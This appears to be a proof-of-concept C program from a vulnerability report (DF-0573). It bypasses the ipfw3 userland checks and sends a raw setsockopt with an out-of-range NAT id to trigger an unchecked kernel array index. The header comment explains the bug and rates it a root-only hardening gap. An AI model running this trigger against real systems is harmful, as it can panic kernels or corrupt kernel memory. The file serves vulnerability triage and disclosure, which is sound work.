DF-0573 / trigger.c
/* * DF-0573 trigger: ioc->id is used as nats[id-1] index without bounds * check in nat_add_dispatch (ip_fw3_nat.c:745) and nat_del_dispatch (797). * * Userland ipfw3 validates id in [1,NAT_ID_MAX=16], but kernel does NOT. * Bypass the userland and send setsockopt directly: * * id=0 -> nats[-1] (OOB before array; the NULL check at :745 may pass * if memory there is non-zero, then kmalloc/type-confusion on * garbage pointer) * id=17 -> nats[16] (OOB after; struct ip_fw3_nat_context has the array * at the end -- see ip_fw3_nat.h:139) * * Triggering as root via raw IP socket + IP_FW_X setsockopt. The setsockopt * path itself is only reachable by holders of SYSCAP_NONET_RAW (root), * making this a root->kernel OOB / type-confusion hardening gap rather * than an unpriv->root escalation. See VERDICT.md. * * Build: cc -o trigger trigger.c * Run: ./trigger [id] * default id=17 (one past NAT_ID_MAX) */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <net/if.h> #include <net/ipfw3/ip_fw3.h> #include <net/ipfw3_nat/ip_fw3_nat.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> int main(int argc, char **argv) { int s, rc, id; struct { ip_fw_x_header hdr; struct ioc_nat nat; struct in_addr addr; } __attribute__((packed)) msg; id = (argc > 1) ? atoi(argv[1]) : 17; printf("[*] DF-0573: sending IP_FW_NAT_ADD with id=%d (NAT_ID_MAX=%d)\n", id, NAT_ID_MAX); printf("[*] kernel will index nats[id-1] = nats[%d] with no bounds check\n", id - 1); s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { perror("socket(RAW)"); return 1; } memset(&msg, 0, sizeof(msg)); msg.hdr.opcode = IP_FW_NAT_ADD; msg.nat.id = id; msg.nat.count = 1; msg.nat.ip.s_addr = inet_addr("10.0.2.15"); /* copy one in_addr follows ioc_nat in ioc_nat layout */ printf("[*] setsockopt(IP_FW_X, IP_FW_NAT_ADD, id=%d, count=1)\n", id); rc = setsockopt(s, IPPROTO_IP, IP_FW_X, &msg, sizeof(msg)); printf("[+] setsockopt returned %d (errno=%d: %s)\n", rc, errno, strerror(errno)); if (rc == 0) { printf("[!] setsockopt succeeded -> OOB array access in kernel\n"); printf("[!] on INVARIANTS kernels: panic likely\n"); printf("[!] on production kernels: type-confused cfg_nat written\n"); } close(s); return rc ? 2 : 0; } |